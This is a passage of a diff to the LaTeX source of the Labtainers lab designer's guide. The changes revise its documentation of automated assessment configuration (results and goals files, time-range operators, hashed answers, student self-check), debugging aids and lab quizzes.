restart a lab after issuing the {\tt stoplab} command. \footnote{Perhaps a {\tt goalsmet} type of command should be added that does nothing but record prestop results without actually stopping the lab?} +All {\tt prestop} scripts will timeout after 30 seconds with a SIGTERM. For debugging support, please consider +adding signal handling to your prestop scripts. For example, for a bash script, include: +\begin{verbatim} + trap "echo Timed out; exit" SIGTERM +\end{verbatim} + + \subsubsection{Artifact archives} Artifacts from student labs are combined into a zip file that is placed in the student transfer directory, typically at {\tt ~/labtainer/xfer/}. Students provide this file to their @@ -1072,7 +1240,7 @@ the cyberciege lab for an example of postzip processing. The automated assessment functions encourage labs to be organized into a set of distinct ``goals''. For each goal, the lab designer identifies one or more specific fields or attributes of artifact files that could be compared to ``expected'' values. These lab-specific artifacts are identified within the -file at: +configuration file at: \begin{verbatim} labtainer/trunk/labs//instr_config/results.config file \end{verbatim} @@ -1080,8 +1248,9 @@ file at: \begin{enumerate} \item The program that was invoked \item Whether the artifact is in stdin or stdout or is program output (prgout) as descrbed in section \ref{program output} -\item An explicit file name, either as an absolute path or relative to the user HOME directory. These are intended -to be persistent log files, e.g., syslogs. +\item An explicit file name, either as an absolute path or a path relative to the user HOME directory. These are intended +to be persistent files, e.g., syslogs. \textbf{Note} files relative to the HOME directory must be expressed as relative paths and +cannot be absolute paths. \end{enumerate} One or more properties of each artifact file are assigned symbolic names, referred to herein as \textit{results}, which @@ -1102,123 +1271,137 @@ sources depending on the nature of the results.config directive: program was invoked, (and its corresponding stdin file contains an entry reflecting when the program terminated). \item A timestamped entry from a log file, e.g., an entry in a web log, that matches criteria specified in the results.config directive. -\item The invocation times of {\tt time\_delimiter} programs, syntactically associated with system log artifact files. -This allows designers to temporally group syslog results that were generated between changes to system configurations -as defined by invocation of the {\tt time\_delimiter} program, e.g., a script that alters the routing table. See section -\ref{time delimeter} for additional information. \end{itemize} +\subsubsection{Result field values} Directives within the results.config file each have the following format: \begin{verbatim} = : : [: : ] - where: - result -- The symbolic name of the result, which will be referenced in - the goals configuration file. It must be alphanumeric, - underscores permitted. - file_id -- Identifies a single file, or the set of files to be parsed. - The format of this id is: - [container_name:].[stdin | stdout | prgout] | - [container_name:]file_path[:time_delimiter] - where is a program or utility name whose stdin, stdout, - or program output (prgout) artifacts will include timestamps. - The optional container_name identifies the container hosting - the file. Labs with a single container can omit this qualifier. - Alternately, an explicit - file_path is intended for log files of services that persist - across multiple student operations. If the given path is not - absolute, it is relative to the container user's home directory. - The wildcard character '*' can be used in place of , - i.e., *.stdin is for all stdin artifacts and *.stdout is for all - stdout artifacts. The optional time_delimiter qualifier is - explained further below. - field_type - Optional, defaults to "TOKEN", possible values include: - TOKEN -- Treat the line as space-delimited tokens - PARENS -- The desired value is contained in parenthesis - QUOTES -- The desired value is contained in quotes - SLASH -- The desired value is contained within slashes, - e.g., /foo/ - LINE_COUNT -- The quantity of lines in the file. Remaining fields - are ignored. - CHECKSUM -- The result value is set to the md5 checksum - of the file. - CONTAINS -- The result value is set to TRUE if the file - contains the string represented in field_id. - FILE_REGEX -- The result value is set to TRUE if the file - contains the regular expression represented in field_id. - The python findall function is used on the entire file. - See the acl lab for an example of multi-line expressions. - LOG_TS -- Used with timestamped log files, this results in a - timestamped set of boolean results with a value - of TRUE for each log line that contains the string - represented in the field_id. - FILE_REGEX_TS Like LOG_TS, but uses regular expressions. - LOG_RANGE -- Similar to LOG_TS, except the timestamped entries - are ranges delimited by the matching log entries. - STRING_COUNT--The result value is set to the quantity of - occurances of the string represented in field_id. - COMMAND_COUNT-Intended for use with bash_history files, counts - the occurances of the command given in the field_id. - Commands are evaluatd considering use of sudo, time, etc. - PARAM -- The result value is set to nth parameter - (0 is the program name), provided in the - program invocation. - - SEARCH -- The result is assigned the value of the search - defined by the given field_id, which is treated as an - expression having the syntax of pythons parse.search - function. E.g., "frame.number=={:d}" would - yield the frame number. - GROUP -- Intended for use with "REGEX" line types, the - result is set to the value of the regex group - number named by the field_id. Regular expressions - and their groups are processed using the python - re.search semantics. - TIME_DELIM -- The timestamps of the named files are used to create - a set of time ranges, e.g., for use in time_during - goal operators. - - - field_id -- An integer identifying the nth occurance of the field type. - Alternately may be "LAST" for the last occurance of the - field type, or "ALL" for the entire line (which causes the - field type to be ignored). Or if field_type is SEARCH, the - field_id is treated as the search expression. - If field_type is "CONTAINS", the - remainder of the line is treated as a string to be - searched for. If field_type is "PARAM", the field_id is - the 1-based index of the parameter whose value is to be - assigned, and no other fields should be present. - If field_type is "CHECKSUM", no other field is required. - line_type - Identifies how the line is to be identified, values include: - LINE -- The line_id is an integer line number +\end{verbatim} +\noindent Fields are defined below. +\begin{itemize} +\item \textbf{result} The symbolic name of the result, which will be referenced in the goals +configuration file. It must be alphanumeric, underscores permitted. +\item \textbf{file\_id} Identifies a single file, or the set of files to be parsed. The format of this id is: +\begin{verbatim} + [container_name:].[stdin | stdout | prgout] +\end{verbatim} +Where {\tt prog} is a program or utility name whose stdin, stdout, +or program output (prgout) artifacts will include timestamps. +The optional {\tt container\_name} identifies the container hosting +the file. Labs with a single container can omit this qualifier. +Alternately, an explicit {\tt file\_path} is intended for log files of services that persist +across multiple student operations. If the file of interest is +relative to the user's home directory, the path must be expressed as a relative +path. Otherwise, the path must be an absolute path. +The wildcard character '*' can be used in place of {\tt prog}, +i.e., *.stdin is for all stdin artifacts and *.stdout is for all +stdout artifacts. Note prestop files are excluded from wildcard +results. + +\item \textbf{field\_type} The following {\tt field\_type}'s are used to +identify fields within a selected line in the file, as determined by the {\tt line\_type} and {\tt line\_id} defined +further below. Once the line is found, the {\tt field\_type} and the {\tt field\_id} locate the value within the line. +\begin {itemize} +\item \textbf{TOKEN} Treat the line as space-delimited tokens +\item \textbf{PARENS} The desired value is contained in parenthesis +\item \textbf{QUOTES} The desired value is contained in quotes +\item \textbf{SLASH} The desired value is contained within slashes, e.g., /foo/ +\item \textbf{SEARCH} The result is assigned the value of the search +defined by the given {\tt field\_id}, which is treated as an +expression having the syntax of pythons parse.search +function. E.g., {\tt frame.number==\string{:d\string}} would +yield the frame number. +\item \textbf{GROUP} Intended for use with "REGEX" line types, the result is set to the value of the regex group +number named by the {\tt field\_id}. Regular expressions and their groups are processed using the python +re.search semantics. +\end{itemize} +\item \textbf{line\_type} Each of the above {\tt field\_type}'s require a {\tt line\_type} and {\tt line\_id} to locate the line within the file. +The {\tt line\_type} value is one of the following: +\begin{itemize} +\item \textbf{LINE} -- The {\tt line\_id} is an integer line number (starting at one). Use of this to identify lines is discouraged since minor lab changes might alter the count. - STARTSWITH -- the line_id is a string. This names the +\item \textbf{STARTSWITH} -- the {\tt line\_id} is a string. This names the first occurrence of a line that starts with this string. - HAVESTRING -- The line_id is a string. This names the +\item \textbf{HAVESTRING} -- The {\tt line\_id} is a string. This names the first occurrence of a line that contains the string. - REGEX -- The line_id is a regular expression. This names the +\item \textbf{REGEX} -- The {\tt line\_id} is a regular expression. This names the first occurrence of a line that matches the regular - expression. Also see the "GROUP" field_type. - NEXT_STARTSWITH -- the line_id is a string. This names the + expression. Also see the "GROUP" field\_type. +\item \textbf{NEXT\_STARTSWITH} -- the {\tt line\_id} is a string. This names the line preceeding the first occurrence of a line that starts with this string. - HAVESTRING_TS -- Intended for use with log files that have +\item \textbf{HAVESTRING\_TS} -- Intended for use with log files that have timestamped entries. Each entry containing - the string identified in line_id will have + the string identified in {\tt line\_id} will have its result stored as a timestamped value as if it came from a timestamped stdout or stdin file. See the snort lab for an example. - REGEX_TS -- Similar to HAVESTRING_TS, but with REGEX semantics, - including optional use of the GROUP field_type. - line_id - See line_type above. String values, e.g., for "STARTSWITH" - can be a parameterized value from the param.config file. - Preface these with a "$". -\end{verbatim} +\item \textbf{REGEX\_TS} -- Similar to HAVESTRING\_TS, but with REGEX semantics, + including optional use of the GROUP {\tt field\_type}. +\end{itemize} + +\item \textbf{line\_id} can be a parameterized value from the param.config file. Preface these with a "\$". + +\item \textbf{field\_type (without line\_id)} The following {\tt field\_types} operate on the entire file, not just on selected lines. These entries will have +no {\tt line\_type} or {\tt line\_id} fields. +\begin{itemize} +\item \textbf{LINE\_COUNT} -- The quantity of lines in the file. Remaining fields + are ignored. +\item \textbf{SIZE} -- The size of the file. Remaining fields + are ignored. +\item \textbf{CHECKSUM} -- The result value is set to the md5 checksum + of the file. +\item \textbf{CONTAINS} -- The result value is set to TRUE if the file + contains the string represented in field\_id. +\item \textbf{FILE\_REGEX} -- The result value is set to TRUE if the file + contains the regular expression represented in field\_id. + The python findall function is used on the entire file. + See the acl lab for an example of multi-line expressions. +\item \textbf{LOG\_TS} -- Used with timestamped log files, this results in a + timestamped set of boolean results with a value + of TRUE for each log line that contains the string + represented in the field\_id. +\item \textbf{FILE\_REGEX\_TS} Like LOG\_TS, but uses regular expressions. +\item \textbf{LOG\_RANGE} -- Similar to LOG\_TS, except the timestamped entries + are ranges delimited by the matching log entries. +\item \textbf{RANGE\_REGEX} -- Similar to LOG\_RANGE, except the string is treated + as a regular expression when looking for matches. +\item \textbf{STRING\_COUNT}--The result value is set to the quantity of + occurances of the string represented in field\_id. +\item \textbf{COMMAND\_COUNT}-Intended for use with bash\_history files, counts + the occurances of the command given in the field\_id. + Commands are evaluatd considering use of sudo, time, etc. +\item \textbf{PARAM} -- The result value is set to nth parameter + (0 is the program name), provided in the + program invocation. + +\item \textbf{TIME\_DELIM} -- The timestamps of the named files are used to create + a set of time ranges with periods between the + timestamps of each file, e.g., for use in time\_during + goal operators. File identifiers should not include + stdin or stdout qualifiers. The file identifier + may be a list of container:file pairs separated + by semicolons. + +\end{itemize} +\item \textbf{field\_id} -- An integer identifying the nth occurance of the field type. + Alternately may be "LAST" for the last occurance of the + field type, or "ALL" for the entire line (which causes the + field type to be ignored). Or if field\_type is SEARCH, the + field\_id is treated as the search expression. + If field\_type is "CONTAINS", the + remainder of the line is treated as a string to be + searched for. If field\_type is "PARAM", the field\_id is + the 1-based index of the parameter whose value is to be + assigned, and no other fields should be present. + If field\_type is "CHECKSUM", no other field is required. +\end{itemize} \subsubsection{Converting artifact file formats} Some artifact file formats are not easily referenced by results.config directives. @@ -1230,7 +1413,7 @@ can be processed into a more convenient form through use of a script at: \noindent Modify or expand on the default pregrade.sh script. In general, the pregrade.sh script is expected to extract or convert data from an artifact file, and write it into a new file in the .local/results -directory of the container. +directory of the container. The {\tt pubkey} lab has an example use of pregrade.sh. \subsection{Evaluating results} \label{goals.config} @@ -1240,7 +1423,7 @@ the student obtained expected results. Most lab goals defined in the goals.conf will evaluate to TRUE or FALSE, with TRUE reflecting that the student met the defined goal. In addition to these binary goals, the designer can capture and report on quantities of events, e.g., the number of times a student ran a specific program. -Once evaluated, a goal may determine the value of subsequent goals within the goals.config file, +Once evaluated, a goal value may affect the value of subsequent goals within the goals.config file, i.e., through use of boolean expressions and temporal comparisons between goals. The evaluated state of each goal can then contribute to an overall student assessment. @@ -1248,7 +1431,7 @@ Student results may derive from multiple invocations of the same program or syst The framework does not discourage students from continuing to experiment and explore aspects of the exercise subsequent to obtaining the desired results. In general, Labtainer assessment determines if the student obtained expected results during any invocation of a program or system utility, or during a time period -delineated by timestamp ranges described in section \ref{results.config}. \footnote{In those cases +delineated by timestamp ranges described in \ref{config-ranges}. \footnote{In those cases where the student is required to obtain the expected results during the final invocation of a program, the \textit{matchlast} goal type may be specified as described below.} @@ -1266,6 +1449,9 @@ A boolean goal\_id value is generated for each referenced result's timestamp. generated from the student email address as described in section \ref{parameterize}. A boolean goal\_id value is generated for each referenced result's timestamp. +\item A keyed hash of a specific result is compared to the keyed hash of an expected value -- to avoid +publishing the actual value of the expected result. See \ref{hash-goals}. + \item Timestamps and boolean values of two different goal\_id's are compared. For example, ``was a TRUE value for {\tt result A} generated while a TRUE value for {\tt result B} was being generated?'' A boolean goal\_id is generated for each @@ -1276,6 +1462,7 @@ A boolean goal\_id is generated for each timestamp range for which there is an i in the expression. \end{itemize} +\subsubsection{Goal definitions} The following syntax defines each goal within the goals.config file. While the syntax may appear complex, most goals can be expressed simply as can be seen in section \ref{examples} and in the Labtainer exercises distributed with the framework. @@ -1362,6 +1549,10 @@ in the Labtainer exercises distributed with the framework. - the following operators evaluate to TRUE as described below: string_equal - The strings derived from and are equal. + hash_equal - The resulttag value is hashed using the Lab Master Seed + defined in the start.config. That is compared with + the answertag, which should have been generated by + the hash-goals.py utility (see below). string_diff - The strings derived from and are not equal. string_start - The string derived from is at the start of @@ -1407,25 +1598,73 @@ in the Labtainer exercises distributed with the framework. Note that values derived from the parameters.config file are assigned the same values as were assigned when the lab was parameterized for the student. +\subsubsection{Distinguish between results generated before and after configuration changes} +\label{config-ranges} +Some labs direct students to configure a system so that it is ``secure'', or meeting some criteria +germane to lab learning objectives. Once the system is so configured, the student is then +directed to perform a specific set of actions to demonstrate the correctness of the +configuration. For purposes of automated assessment, we would like evidence that +the student performed all the prescribed demonstration steps without intervening +configuration changes. In other words, though the student may perform a myriad of +configuration changes and demonstrate steps (encourage experimentation!), +we'd like to know if there ever was a +single configuration in which all of the demonstration steps were performed. + +Labtainers provides the {LOG\_RANGE} and {TIME\_DELIM} result types to establish time +ranges over which we can assert that no configuration changes were made. Once those time ranges +are established, i.e., as a set of results with a single tag, the {\tt time\_during} and +{\tt time\_not\_during} goal operators bin \textbf{other results} into +those time ranges. Once so binned, the boolean operator can be used to determine if +the desired conditions were met within a single configuration state. See sections +\ref{log_range} and \ref{time_delim} for examples. + +\subsubsection{Replace answers with hashes} +\label{hash-goals} +Automated assessment files include expected results, which sometimes reflect ``answers'' to problems +that instructors would prefer not to publish, e.g., how many packets did source X send? +While automated assessment can help the instructor confirm that the student ran a program that generated the +desired output, not all instructors use automated assessment. For example, they may simply review lab reports. +Note this is not an issue when parameterization individualizes the expected result for each student. + +Labtainers allows designers to include keyed hashes of answers within the published files rather +than the answers themselves. The {\tt hash\_equal} operator used in a {\tt goals.config} file functions like +the {\tt string\_equal} operator, except the comparison is made on a hash of the named result value, generated +using the Lab Master SEED as the key. + +Instead of creating a {\tt goals.config} file directly, the designer creates a {\tt goals.answers} file that +contains the intended content of the {\tt goals.config} file, but with the actual answers, e.g.,: +\begin{verbatim} + ipv4_count = matchany : hash_equal : _ipv4_count : answer=2029121 +\end{verbatim} +\noindent The {\tt hash-goals.py} utility is then used to generate the {\tt goals.config} file, replacing +the plain text answers with the appropriate hashes. + +It is intended that the goals.answers files will not be distributed, e.g., they would be maintained with the +SimLab solutions repo. + \subsubsection{Assessment Report} -Evaluation of student results occurs on an instructor container, via a script named {\tt instructor.py}, which runs -automatically when the instructor runs the {\tt gradelab [lab]} command. The script can also be run manually, e.g., to -test changes and additions to grading configuaration files. It must be run from the HOME directory -on the container that results from running the gradelab command with the {\tt -d} option \footnote{Be sure to run -stopgrade after use of the {\tt -d} option to shut down the grading container when you are done with it}. +Evaluation of student results occurs on a \textit{grading} container +that starts when the instructor runs the {\tt gradelab } command. A report is generated +and displayed on the screen. A copy of the report is also placed in the {\tt latainer\_xfer} directory. +Debugging your assessment configuration an be aided by using {\tt gradelab -d }, which will start the +grading container and give you a shell into it. From there, run the script named {\tt instructor.py}. +There is a log in {\tt /tmp/instructor.log} in addition to diagnostics that might be generated on the terminal. +See section \ref{debug-grading} for additional information on debugging grading.\footnote{Be sure to run +stoplab after use of the {\tt -d} option to shut down the grading container when you are done with it}. By convention, all goals and boolean results whose symbolic names are not prefaced with an -underscore ({\tt\_}), will have corresponding entries in the assessment report, located in +underscore ({\tt\_}) or an {\tt cw\_}(see \ref{checkwork}), will have corresponding entries in the assessment report, located in the home directory in a file named {\tt .grades.txt>} \subsubsection{Document the meaning of goals} \label{document goals} -Instructors will see descriptions of lab goals when they start the lab using {\tt start.py}. -These descriptions are embedded within comments in the goals.config and results.config files. +Instructors will see descriptions of lab goals when they start the lab using {\tt gradelab}. +These descriptions are embedded within directives within the goals.config and results.config files. The descriptions are associated with symbolic names that immediately follow the documentation directives as described below: \begin{verbatim} # SUM: -- The remainder of the line and comment lines that immediately - follow are displayed independent of any goal symbols. + follow are displayed independent of any goal symbols. Terminate + summaries in SUM: directives with a blank line. # DOC: -- The remainder of the line and comment lines that immediately follow are displayed for the symbolic name that follows the comment lines. @@ -1435,15 +1674,87 @@ directives as described below: new comment. \end{verbatim} -\noindent See existing labs for examples. +\noindent You would include these directives in a results.config file for boolean results that appear as student goals, +e.g., a {\tt CONTAINS} result that does not have a leading underscore. And you would include directives in the goals.config +file for goals that appear in as student goals, i.e., those without leading underscores. +See existing labs for examples. Also see the \ref{checkwork} for additional directives. +\subsection {Student self-assessment} +\label{checkwork} +The {\tt checkwork} command allows students to assess their own work against +the criteria used by instructors for automated assessment of lab performance. +This can be disabled on a deployment-wide basis using the {\tt CHECKWORK no} directive +in the {\tt config/labtainers.config} file. Of course this assumes you have separately +provided access control over that file, e.g., through use of a custom VM appliance.\footnote{ +Disabling self-assessment might be useful if Labtainers was repurposed for skills assessment +testing.} + +\subsubsection {Current state assessment} +\label{current-state} +The lab designer can define a subset of goals and results that inform the student +whether the \textit{current} system state is as desired. This greatly differs +from typical Labtainer goal assessment, which measure whether the student ever +achieved expected results, regardless of the system's current state. These +\textit{current state} goals are intended to guide the student with potentially +more information than is found (or is practical) in the standard goals. The current state goals +are not intended to replace other goals, and they are not displayed to instructors. + +The current state goals and results must have a prefix of {\tt cw\_}, and they +are required to have documentation directives of {\tt CHECK\_TRUE} or {\tt CHECK\_FALSE}. +Text included within a directive will be displayed to students if the value +of the associated goals at the time {\tt checkwork} was run does not match the directive value. +In the example below the documentation directive will be displayed if the {\tt cw\_ssh\_open} +value is {\tt False}. +\begin{verbatim} + #CHECK_TRUE: The SSH port is not open. + cw_ssh_open = client:prestop.stdout : FILE_REGEX : 22/tcp.*open +\end{verbatim} +\noindent A {\tt CHECK\_OK} documentation directive can be added display to text in the event that +all of the {\tt cw\_} goals match their documentation directives. + +Current state goals +are expected to reflect the current state of the computers as described below. + +\subsection {Current state artifacts} +Results and goals used for current state assessment should primarily be derived from artifacts generated by {\tt prestop} scripts +described in \ref{prestop}. The system uses the most recent timestamp found for any files named by current state +results, i.e., those with the {\tt cw\_} prefix. The designer can name any file for a current state result -- but note it may +be difficult to divine current state solely from previous artifacts, e.g., the state may have changed. For this reason, we +suggest use of prestop scripts. + +To highlight the differences between current state assessment and standard Labtainers assessment, consider an example +lab that requires the student to enforce an access control policy on a database having several users with differing +authorizations. To support the instructor, we'd like to report on whether the student ever managed to configure the +database permissions within a single configuration such that all users were prevented from exceeding their authorization and +yet were able to access data to which they were authorized. Providing the instructor with point details of whether individual +modes of access were permitted or denied at any time in the lab might not be very helpful because the context of such access +would not be known. For example, a goal might reflect that John was denied access to some table at some point, but was it due to everyone being +denied access? Or due to John being denied access to everything? Such intermediate results can be presented to instructors +(or they can delve into intermediate results themselves on the grader container), but those results lack context within the +grading report. On the other hand, when the student runs {\tt checkwork}, the context is clear and we can provide feedback +to the student about the current state of the system relative to the goals. Now the questions are better formed, e.g., +does John currently have access to the expected table columns?. + +The above discussion is not intended to dissuade lab designers from informing instructors about partial success. If goals +can be defined to show the student was able to provide most of the desired access controls though unable to enforce the entire policy, +that is to be encouraged. But that can also be hard to do. It is often far easier to provide the student with information about partial +goal achievement because the context is \textit{now}. \subsection{Assessment examples} \label{examples} The following examples illustrate some typical assessment operations as they would be defined in the results.config and goals.config files. -\subsubsection{Do artifact files contain specific strings?} +\subsubsection{Did a program output an expected answer?} +Often, the easiest approach to such an assement is to simply use a {\tt FILE\_REGEX} field\_type +within the results.config -- and not bother with the goals.config. +\begin{verbatim} + got_x = *.stdout : FILE_REGEX : X is:.*347 +\end{verbatim} +The lab goals will include a boolean named {\tt got\_x}, which will be true if any stdout file +contained a string matching that REGEX. + +\subsubsection{Do artifact files contain one of two specific strings?} Consider the labs/formatstring/instr\_config/results.config file for a few examples. The first non-comment line defines a result having the symbolic name ``\_crash\_sig'': \begin{verbatim} @@ -1480,110 +1791,130 @@ modify_value = matchany : string_diff : newsecret1value : result.origsecret1valu \noindent , which will be TRUE if any of the vul\_prog stdout files include a ``newsecret1value'' that differs from its ``oldsecret1value``. +\subsubsection{Was a log entry written while some command executed?} +Consider these two entries in {\tt results.config}: +\begin{verbatim} + # Time stamp of log entry containing IP address + log-from-w1 = w3:/var/log/myhttplogfile.txt : LOG_TS : 202.25.4.2 + # Use of wget -- will result in time stamp range: start-finish + wget-w1 = w1:wget.stdin : CONTAINS : 202.25.4.2 +\end{verbatim} +\noindent The following {\tt goals.config} entry will be true if the log entry was +ever generated using wget from the w1 computer: +\begin{verbatim} + didit = time_during : log-from-w1 : wget-w1 +\end{verbatim} + + \subsubsection{My desired artifacts are not in stdin or stdout, the program outputs a file} See section \ref{program output} -\subsubsection{Distinguish log file entries generated before and after configuration changes} -\label{time delimeter} -When log files are named in results.config files, you can qualify the log file name -with the name of program whose invocation serves as a {\tt time\_delimiter} introduced -in section \ref{results.config}. -The {\tt time\_delimiter} identifies some -monitored program whose start times will be used to organize the log file into -a set of timestamped results. This differs from use of HAVESTRING\_TS and -REGEX\_TS in that those store results as descrete timestamped values for each -timestamp found in the log file. The {\tt time\_delimiter} timestamp values are -based on the start times of the monitored program. The intended use is to -group results from programs whose actions result in entries in the log file. -This can be useful for grouping system log entries based on system configuration -changes (i.e., accomplished via the {\tt time\_delimiter} program). -Consider a lab that directs students to alter iptables on a component using the -/etc/rc.local script. The student is required to demonstrate a desired iptables +\subsubsection{Delimiting time using log file entries} +\label{log_range} +The LOG\_RANGE result type generates a set of results having timestamp ranges that +cover the period between specified log entries. For example, a results.config directive of: +\begin{verbatim} + syslog_slices = server:/var/log/messages : \ + LOG_RANGE : Started System Logging Service +\end{verbatim} +\noindent would create a set of time ranges with periods between each start of +the system logging service. The use of {\tt time\_during} +and/or {\tt time\_not\_during} and {\tt boolean} in the goals.config could then assess whether +two or more events occurred during a given system log configuration. For example, assume the +results.config file also included these directives: +\begin{verbatim} + _did_first_thing = client1:did_this.stdout : CONTAINS : Did that thing + _did_second_thing = client2:did_other.stdout : CONTAINS : Did that other thing +\end{verbatim} +\noindent We'd like to know if the above two results were ever achieved within one configuration +of the logging system. This can be determined by first binning the above two results into the +time ranges established by the {\tt syslog\_slices} result through use of {\tt time\_during} within +the goals.config as follows. +\begin{verbatim} + _did_first_during = time_during : _did_first_thing : syslog_slices + _did_second_during = time_during : _did_second_thing : syslog_slices +\end{verbatim} +\noindent That yields two sets of goals having time ranges defined by the {\tt LOG\_RANGE} +results. We can then use a boolean operator to determine if those two goals were ever +achived within the same established time range\footnote{Recall that the use of the boolean operator +only makes sense for goals/results having matching timestamps}: +\begin{verbatim} + did_both = boolean : (_did_first_during and _did_second_during) +\end{verbatim} + +See the centos-log2 lab for an example. + +\subsubsection{Delimiting time via program invocations} +\label{time_delim} +The {\tt TIME\_DELIM} result type is intended to identify some +program whose invocation times will be used to create a set of time ranges. +These results, like those from {\tt LOG\_RANGE} differ from other result types +in that they define ranges between events. For example, a {\tt CONTAINS} result +set from {\tt stdout} files would have timestamps reflecting the corresponding program +start and stop time, while a {\tt TIME\_DELIM} result would have timestamps +reflecting the periods \textbf{between} invocations of the program named in the directive. + +Consider a lab that directs students to alter iptables on a component. +The student is required to demonstrate a desired iptables configuration by running nmap on various other components. The instructor wants to confirm that some set of expected stdout from nmap running on different components all occurred within a single -configuration of iptables, delimited by the running of rc.local. In other words, +configuration of iptables, delimited by the running of the iptables command. In other words, the student cannot succeed by altering iptables between invocations of nmap on -different components. In this example, the {\tt file\_path} would name the iptables -log, and the {\tt time\_delimiter} would name rc.local. In order to track invocations -of rc.local, we would add it to the {\tt treataslocal} file described in section \ref{stdin and stdout}. +different components. + +Note, that to be generally useful, we do not wish to simply look for invocations of iptables +by the student. +For example, using the command to view the configuration does not represent a change to +the configuration. Also, the iptables may be called from a script, e.g., rc.local, and +our typical use of stdout files would not see the running of iptables. It is therefore +suggested that {\tt TIME\_DELIM} results be tied to files created as an effect of +notify events described in \ref{notify}. In this example, the notify event would be execution +of /sbin/iptables, and the {\tt notify\_cb.sh} script would determine if a change were being +made to the configuration. Then, if the lab results.config were: \begin{verbatim} - _iplog = outer_gw:/var/log/ulog/syslogemu.log:rc.local : \ - CONTAINS : IPTABLES DROPPED + iptables = firewall:iptables : TIME_DELIM _remote_nmap_443 = remote_ws:nmap.stdout : CONTAINS : 443/tcp open https _remote_nmap_sql = remote_ws:nmap.stdout : CONTAINS : 3306/tcp open mysql _local_nmap_443 = ws1:nmap.stdout : CONTAINS : 443/tcp open https _local_nmap_sql = ws1:nmap.stdout : CONTAINS : 3306/tcp open mysql \end{verbatim} -\noindent The {\tt \_iplog} result would then have up to N+1 timestamped instances, -where N is the quantity of times that rc.local was executed. The first possible +\noindent The {\tt iptables} result set would then include up to N+1 timestamped instances, +where N is the quantity of times that iptables was executed to change the configuraion. The first possible timestamp would have a starting time of zero and an ending time of the very first -invocation of rc.local. The nmap results would each have timestamps corresponding +consequential invocation of iptables. The nmap results would each have timestamps corresponding to their times of execution. Note the nmap results include results from two different computers, ws1 and remote\_ws. A goals.config file of: \begin{verbatim} - remote_nmap_443 = time_during : _remote_nmap_443 : _iplog - remote_nmap_sql = time_during : _remote_nmap_sql : _iplog - local_nmap_443 = time_during : _local_nmap_443 : _iplog - local_nmap_sql = time_during : _local_nmap_sql : _iplog + remote_nmap_443 = time_during : _remote_nmap_443 : iptables + remote_nmap_sql = time_during : _remote_nmap_sql : iptables + local_nmap_443 = time_during : _local_nmap_443 : iptables + local_nmap_sql = time_during : _local_nmap_sql : iptables remote_correct = boolean : ((remote_nmap_443 and_not remote_nmap_sql) \ and local_nmap_443 and local_nmap_sql) \end{verbatim} -\noindent would generate sets of nmap goals grouped into timestamps corresponding to the -{\tt \_iplog} results. The {\tt remote\_correct} boolean expression could then be read as: +\noindent would generate sets of nmap goals with timestamp ranges corresponding to the +{\tt iptables} results. The {\tt remote\_correct} boolean expression could then be read as: ``Was there any single iptables configuration during which the student used nmap to demonstrate that: \begin{itemize} \item The remote workstation could reach the HTTPS port but not the SQL port, and, \item The local workstation could reach the HTTPS port and the SQL port. \end{itemize} +The file identifiers for {\tt TIME\_DELIM} commands can be lists of container:file +pairs separated by semicolons. This is useful when configuration changes are delimited +by modifications made on more than one component or by more than one program -\subsubsection{Delimiting logs by starting services} -\label{time delimiter services} -Another example of the use of {\tt time\_delimiter} log file qualifiers is a web server, -and its corresponding httpd log. It may be desired to group log entries generated during a -single configuration of the web server, delimited by the starting of the web server, e.g., via -{\tt sudo systemctl restart httpd}. Here, our {\tt time\_delimiter} program is the use of systemctl -to start or restart the httpd. Services are named in the {\tt treataslocal} file by giving them a -suffix of ``.service'', e.g., -\begin{verbatim} - httpd.service -\end{verbatim} -\noindent and that same name is used for our {\tt time\_delimiter}, e.g., -\begin{verbatim} - web_log = vuln-site:/var/www/csrflabelgg.com:httpd.service : CONTAINS : GET / HTTP/ -\end{verbatim} -\noindent will create time stamp ranges delimited by the starting of the web server. Results from -other programs, (or other results derived from the web log), could then be similarly group using -the {\tt time\_during} operation, e.g., -\begin{verbatim} - _some_goal = time_during : other_result : web_log - _some_other_goal = time_during : yet_another_result : web_log - success = boolean (_some_goal and _some_other_goal) -\end{verbatim} -The success goal would only then be TRUE if the two goals each occurred during a single instance -of the web server configuration, as delimited by use of {\tt systemctl restart httpd}. - -\subsubsection{Delimiting time using log file entries} -An alternate way to create groupings of log file entries is to use the log\_range -result type. For example, a result.config directive of: -\begin{verbatim} - syslog_slices = /var/log/messages : LOG_RANGE : Started System Logging Service -\end{verbatim} -\noindent would create a set of timestamped values whose ranges are based on occurrences -of the system logging service being started. The use of {\tt time\_during} -and/or {\tt time\_not\_during} and {\tt boolean} in the goals.config could then be used to assess whether -two or more events occurred during a given system log configuration. See the centos-log lab -for an example. \subsection{Debugging automated assessment in labs} +\label{debug-grading} Developing automated assessment for a new lab typically requires some amount of debugging. This section is intended to guide new developers through the process. @@ -1591,7 +1922,7 @@ through the process. When the {\tt gradelab} script is run from labtainers-instructor, the configuration files in labs/[lab name]/instr\_config are validated. If syntax errors are found, error messages are displayed at the terminal -and processing halts. The error messages identify the offending result.config +and processing halts. The error messages identify the offending results.config or goals.config entry. Refer to sections \ref{results.config} and \ref{goals.config} for the expected syntax of these files. @@ -1612,9 +1943,73 @@ From there, look in .local/result to find json files reflecting intermediate results of assessing the student results. The actual student result arifacts can be found in \verb!~/[student dir]/[lab].[container].student/.local/result!. +Another tool that may aid development and debugging of automated assessment for your lab is the web-based assessment interface. +Using the {\tt -w} switch to the {\tt gradelab} command will start a Flask-based web server on the grading container that listens +on port 8008 on the VM. Point a browser to {\tt localhost:8008} to view the assessment data, which includes links to intermediate and +raw result artifacts. + The mechanics of performing the lab (so that you can test grading for different outcomes) can be automated using the SimLab tool described in Appendix \ref{testing}. +\section{Quizzes} +Labs may include simple quizzes intended to re-enforce a student's understanding of concepts +necessary to perform the lab. The quizzes are not intended to be a primary source of +student assessment, rather, they are intended to help the student understand if they understand. +No attempt is made to protect quiz answers, or to randomize or parameterize quizzes. +An example application of quizzes is to allow the student to confirm his or her understanding +of a security policy prior to trying to implement enforcement of that policy. + +Quizzes are performed on the Labtainer host from within the {\tt labtainer-student} directory +using the {\tt quiz} command. Use the {\tt -h} option to see its usage. + +A lab may have multiple quizzes. Each is defined in a file in the lab {\tt config} directory +within a file having an extension of {\tt .quiz}. Each quiz includes a set of +questions. Each question is defined by a comma separated list. If a line terminates +without a comma or a backslash, it is treated as the end of the question, and the next line +is treated as the beginning of the next question. +Question types include the following: +\subsection{True or False} +A question whose answer is either true or false. +\begin{verbatim} +ID, TrueFalse, question, answer, right_response, wrong_response, prerequisit +\end{verbatim} +\noindent Where: +\begin{itemize} +\item ID 